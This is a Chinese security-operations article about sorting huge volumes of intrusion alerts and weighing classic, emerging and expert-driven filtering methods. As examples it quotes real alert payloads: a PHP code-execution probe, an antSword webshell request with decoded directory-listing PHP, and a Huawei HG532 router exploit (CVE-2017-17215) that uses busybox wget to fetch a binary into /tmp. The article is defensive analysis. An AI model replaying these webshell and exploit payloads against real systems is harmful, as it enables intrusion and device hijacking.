前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【攻击意图评估:序】误报太多?谈海量告警筛选

【攻击意图评估:序】误报太多?谈海量告警筛选

作者头像
绿盟科技研究通讯
发布2020-07-28 11:03:38
3.2K0
发布2020-07-28 11:03:38
举报
文章被收录于专栏:绿盟科技研究通讯

一、前言

在企业安全运维过程中,不论保障值守还是应急响应,告警监控工作所需的人力投入始终居高不下。安全运维人员需要对各种检测防护系统的告警进行研判,找到攻击行为的痕迹,从而及时作出有效应对。

这并不是一项轻松的工作,因为防护告警的数量实在是太多了。很多企业每天的告警数量都有几十万至几百万不等,而其中真正关键的却可能只有几十条甚至更少。不仅如此,告警研判工作本身对专业技能的要求也很高,进一步增加了告警监控的难度。

如何能够从如此之多的防护告警中快速筛选出有价值的关键告警,是企业信息安全建设过程中无法逃避的问题之一。

二、防护告警的构成

在讨论告警筛选问题之前,我们需要先弄清楚防护告警的实际构成。

经常接触安全运维的人,可能或多或少都听说过一些“告警无用论”:

  • 防护规则太敏感了,99%的防护告警都是误报
  • 每天那么多防护告警,各个信息系统却还都运行得好好的
  • 能确定是攻击的都已经阻断了,没阻断的攻击也未必能告警
  • ……

诚然,这些说法本身也并非完全没有道理。防护告警中真正对安全运维有价值的部分实在是万里挑一。但在这之前,到底什么样的告警才是“有价值”的呢?

上图中的色彩比例并不精确(实际上少量随机抽样很难抽到安全事件相关的告警),但可以确定的是,真正意义上的误报告警虽然不算罕见,但也并非低价值告警的主要成分。实际占据防护告警版面的,主要是难以直接关联到恶意行为的日志型告警,以及各种扫描探测行为产生的告警。这些告警本身描述并无错误,但它们也属于低价值告警。

而对于安全运维“有价值”的告警,其实是指那些需要人工介入处置的告警。对于运维人员来说,重要的并非信息系统中发生了什么,而是需要他们去做什么。运维人员讨厌低价值告警,更多的是因为告警所指示的网络活动与企业安全运维流程没什么关系,而那些描述与实情不符的误报告警只是其中的一小部分而已。

三、经典方法

海量告警筛选问题困扰安全运维已非一朝一夕,自然也催生了一系列筛选方法作为对策,常见的包括:

  • 风险筛选法:关注高风险等级的告警
  • 规则筛选法:关注特定防护规则产生的告警
  • 目标筛选法:关注关键资产相关的告警
  • 失陷筛选法:关注攻击源为内网主机的告警
  • ……

然而,多年实践表明,这些筛选方法虽然具有一定价值,但整体实战效果大多不尽如人意:要么漏筛很多,要么错筛很多,要么漏筛错筛都很多。

比如风险筛选法,这其实是一个非常简单而有效的策略。防护告警的风险等级一般是与告警规则直接关联的,可以大致指出攻击行为所尝试利用的漏洞的严重程度。而据少量采样统计,企业日常防护告警中,高风险告警只占约16%。如果只关注这些高风险告警,那么分析工作量就可以大大减少。

然而,漏洞的危害并不能完全代表攻击行为的危害。例如下面这条告警,告警类型为高风险的代码执行,但实际上只是常规漏洞扫描中一个几乎无法构成损害的试探性行为:

告警类型:PHP代码执行漏洞

告警风险:高风险

告警载荷:GET /api.php?background=&code_len=4&font_color=&font_size=14&height=26&op=%24{%40print(md5(31337))}&width=120 HTTP/1.1Host: www.xxxxxxx.comCdn-Src-Ip: x.x.x.xX-Forwarded-For: x.x.x.xCookie: PHPSESSID=xxxx; PHPSESSID_NS_Sig=xxxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36X-CCDN-RequestID: 908809e2b423bb7cd71a35fd2db52ab8

解码参考:${@print(md5(31337))}

而下面这条告警,则来自某次真实入侵事件。攻击者正尝试利用已上传的WebShell列出特定目录内容。这是安全运维中需要关注的、非常关键的告警

告警类型:PHP代码执行漏洞

告警风险:高风险

告警载荷:POST /configt.php HTTP/1.1Host: x.x.x.xAccept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 1005Connection: closeneacik=%40eval(%40base64_decode(%24_POST%5Bee6f3b26b000f2%5D))%3B&ee6f3b26b000f2=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIHN0cl9yb3QxMygkb3V0KTt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICI0NGUxNjUiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjZjN2ZjOGUiO31vYl9zdGFydCgpO3RyeXskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsidTg4NTVmN2VhNjMxMWYiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iCSIuJFQuIgkiLkBmaWxlc2l6ZSgkUCkuIgkiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7&u8855f7ea6311f=QzovSW50ZWwv

解码参考:@eval(@base64_decode($_POST[ee6f3b26b000f2]));@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return str_rot13($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "44e165";echo @asenc($output);echo "6c7fc8e";}ob_start();try{$D=base64_decode($_POST["u8855f7ea6311f"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();C:/Intel/

真实攻击者正尝试利用已上传的WebShell列出特定目录内容。这是安全运维中需要关注的、非常关键的告警。

以上两个告警均由同一条告警规则产生,具有完全相同的告警风险等级,但实际重要程度却截然不同。同理,中风险和低风险告警里也不乏具有实际危害的攻击行为。仅仅依靠风险等级或告警规则进行筛选,是远远不够的。

其它的传统筛选方法的效果也是一言难尽。目标筛选法不仅极度依赖企业自身资产梳理水平,直接放弃对非关键系统的监控通常也不是什么明智之举。失陷筛选法能够检出的攻击手段比较有限,实际使用中大多只能筛选出一些蠕虫活动,且发现攻击过于滞后,不能有效规避损失。

由此可见,告警筛选是一个很复杂的问题,依靠单一的原始指标是很难有效筛选出关键告警的。

四、前沿技术

为了解决这个复杂的告警筛选问题,近年来也出现了一些比较新型的“高科技”筛选方法:

  • 攻击链筛选法:设法将告警对应到标准攻击步骤,关注构成攻击链的告警
  • 威胁情报筛选法:利用云端共享信息,关注恶意IP相关的告警
  • 异常检测筛选法:关注罕见类型、罕见端口等在统计分布中孤立/离群的告警
  • ……

不过,这些新技术方法目前大多尚处于研究阶段,也存在各种各样的问题。

例如,攻击链筛选法目前被认为是针对APT攻击最合理的方法。现有研究大多围绕Kill-Chain或ATT&CK等模型进行,通过完整还原整个入侵过程,可以排除那些未能构成有效攻击链(止于侦察等早期阶段)的告警信息,理论上的筛选效果远超传统方法。

然而,攻击链筛选法目前面临的两大难题,其一是如何将原始告警对应到攻击步骤,其二是如何在指数爆炸的所有候选攻击路径中找出可能性最高的一条。

第二个问题一般被认为属于攻击溯源领域,我们暂且避而不谈。针对第一个问题,目前主流的做法是将告警规则直接对应到攻击步骤。例如将RCE类告警统一对应到Exploiting步骤,木马通信类告警统一对应到C&C步骤等。

但在实战环境中,这种对应关系是很难建立的。例如下面这条告警:

告警类型:华为HG532路由器远程命令执行漏洞(CVE-2017-17215)

告警风险:高风险

告警载荷:POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g *IP地址已脱密* -l /tmp/.unstable -r /servicesd000/fx19.mips; /bin/busybox chmod 777 * /tmp/.unst

虽然告警所记录的流量并不完整,但仍然可以看出攻击者正尝试抓取肉鸡。这个攻击载荷经过精心设计,一次性地蕴含了Kill-Chain全部七个步骤中的四个(侦察、交付、利用、安装)。

那么问题来了,原始告警类型(远程命令执行漏洞)应该对应攻击链上的哪个或哪些步骤呢?上述告警中的单次攻击行为几乎跨越了大半个攻击链,但每个针对该漏洞的攻击行为都是这样的吗?这些问题恐怕都很难说清楚。

可见,将一个告警对应到攻击步骤并非易事,至少仅靠告警类型是很难实现的。只要这个问题还没有得到妥善解决,攻击链筛选法的效果就很难达到理想水平。目前在威胁狩猎领域中相关的研究很多,但实战效果如何尚不得而知。

在其它常见的前沿方法中,威胁情报筛选法应该是实际使用相对广泛的一种。“威胁情报”是一个比较大的概念,但若限定在告警筛选问题中,最常见的还是恶意IP库。

在大规模攻防对抗中,一个防守节点确认到攻击并共享信息后,其它节点的防守方常常会根据恶意IP(攻击源、C&C控制端、矿池地址等)搜索历史告警,并将恶意IP加入ACL黑名单以绝后患。这种方法已经实践证明效果良好,尤其是对那些互联网上的、不针对特定目标的攻击者来说效果绝佳。

但时至今日,国内的企业安全防护仍然处于高度割裂的状态。很多企业不愿泄露自身内部的信息,部分集团企业的各个分支机构之间都在各自为战,大量防护系统尚且无法在网络上连接到一起,更遑论共享什么“情报”。此外,威胁情报筛选法对于针对性强、目的性强的攻击反应迟缓,内网威胁情报的建立也还是一个前路漫长的研究课题。

至于异常检测筛选法,则是数据分析中经常使用的方法。虽然具体实现各有不同,但常规异常检测算法都是对样本分布进行统计,假定大多数样本都是“正常”,识别出离群样本并将其标记为“异常”。按理说,关键告警在全部告警中只占很小一部分,只要特征选取得足够好,它们应当能够被异常检测算法标记出来。

然而事情并没有这么简单。实验表明,很多关键告警确实都会被算法判断为异常,但被算法判断为异常的,却并不都是关键告警——异常检测结果中包含大量由于业务逻辑独特、网络结构独特等各种原因导致“不正常”的告警。由于网络攻击关键告警的真阳性样本非常稀缺,想要用监督学习方法对异常检测结果进行区分也很困难,更何况最初的特征选取也是一项浩大的工程。

总而言之,这些前沿方法目前还没有广泛应用到企业安全运维的一线工作中。也许三年后它们将成为企业安全防护的标配,也许三个月后它们就会被更好的方案所取代。大浪淘沙,答案终有一天会被揭晓。

五、实战思路

虽然经典方法不尽如意,前沿方法又尚不成熟,但企业安全运维工作是停不下来的,告警终究还是要有人去分析的。就笔者观察到的情况看,目前真正得到采用的告警筛选方法,大多其实是这样的:

  • 直觉筛选法:这条告警看着不顺眼,得点开瞧瞧
  • 随缘筛选法:关键告警被漏掉,那是缘分没修到
  • 放弃筛选法:忽略所有告警,等出事了再排查
  • ……

令人无奈的是,让攻防经验丰富的技术人员随意筛选,反而确实是目前所有告警筛选方法中最为有效的一种——几乎没有其它任何筛选方法的实战效果能超过专家的直觉。实际上,目前大部分安全团队在面对保障值守类工作时,似乎也都倾向于依靠人员培养体系解决问题,而自动化方案只作为辅助手段。

笔者曾尝试询问过一些安全值守人员,当问及“你为什么关注到这条告警”时,得到的答案普遍比较模糊且各不相同。技术人员们可能也很难解释自己是如何从大量告警中进行筛选并关注到那些关键告警的。

不过,此番调查也并非完全没有收获。通过观察攻防技术人员筛选告警的过程,有两个现象值得我们注意:

1、只擅长防守的技术人员似乎很少。如果某个技术人员分析告警的能力很强,此人往往也是一名渗透测试高手;

2、技术人员在筛选告警时,实际上已经复合使用了多种筛选策略,但最终作出判断时所采用的决定性依据几乎全都是告警载荷。

由此,我们可以做出一些猜想:

猜想一:人类专家在分析防护告警时,是在关注某种与攻击相关的、抽象层次很高的概念。告警中的各项具体指标,甚至是攻击方法、攻击对象这样的浅层抽象,其实都只是参考信息。人类专家所关心的可能是攻击行为背后的潜在利益、攻击者的内在目的、攻击者的信心和决心、或者其它更高层次的抽象。

猜想二:最能够反映这个抽象概念的信息,位于告警载荷或原始网络流量中。某种意义上,这表明现有的防护系统是存在缺陷的——防护系统根据原始流量产生告警的过程中,可能损失了某种关键信息,而这种信息恰恰能够反映告警的实际重要程度。

这个猜想较好地解释了为何迄今为止告警筛选问题的自动化方案普遍效果不佳:倘若在告警数据的结构化部分中,根本就没有包含足以界定告警重要程度的信息,且这种信息需要经过高度抽象后才能产生价值,那以现有的自动化方法多半确实无法得到什么美好的结果了。

如果按照这个思路,告警筛选在原理上必然是可自动化的,但其难点在于筛选过程中所涉及的知识领域可能是非常复杂的。要解决这个问题,现有方案需要完善的部分主要包括:

1、需要引入数据分析方法:

a)信息处理过程存在高度抽象,难以直接定义处理逻辑,需要通过机器学习来找出其中的关联;

b)考虑告警筛选问题的原始需求,模型输入应为原始告警,输出应为重要性分值/分类。

2、需要将告警载荷或原始流量内容纳入模型输入

a)但告警载荷通常是二进制流数据,没有统一结构,且目前尚不明确告警载荷中的具体哪些成分能够真正反映告警重要程度;

b)需要一种广泛的特征提取方法,将二进制流数据转换为模型可用的特征输入。

3、需要人类专家的参与:

a)真实环境中的信息安全事件可遇而不可求,真阳性样本非常稀缺;

b)不同漏洞在不同场景下的利用方法千变万化,靶场模拟效果很难保证;

c)需要设计一种方式,让模型能够从人类专家那里得到一些标注、反馈、或者其它类型的关键知识。

这样一来,我们就可以将告警载荷信息结构化,输入到具备专家知识的回归/分类模型中。接下来,只要有一个恰当的模型能够成功找到并拟合这种蕴含抽象概念的关联,那么告警筛选问题自然迎刃而解。

六、后记

从目前的情况看来,海量告警筛选工作在未来一段时间内仍然会是企业安全运维的一大难题,至少现有防护告警上的大部分指标都难以直接区分告警的实际重要性。

在本系列的下一篇文章中,将会详细探讨一种基于告警载荷的攻击意图评估模型,通过分析攻击者期望达到的目的来实现告警筛选,敬请期待。

如果您发现文中描述有不当之处,还请留言指出。在此致以真诚的感谢~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 绿盟科技研究通讯 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
高级威胁追溯系统
腾讯高级威胁追溯系统(Advanced Threat Tracking System,ATTS)由腾讯安全团队构建的高级威胁追溯平台,旨在帮助用户通过该平台进行线索研判,攻击定性和关联分析,追溯威胁源头,有效预测威胁的发生并及时预警。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档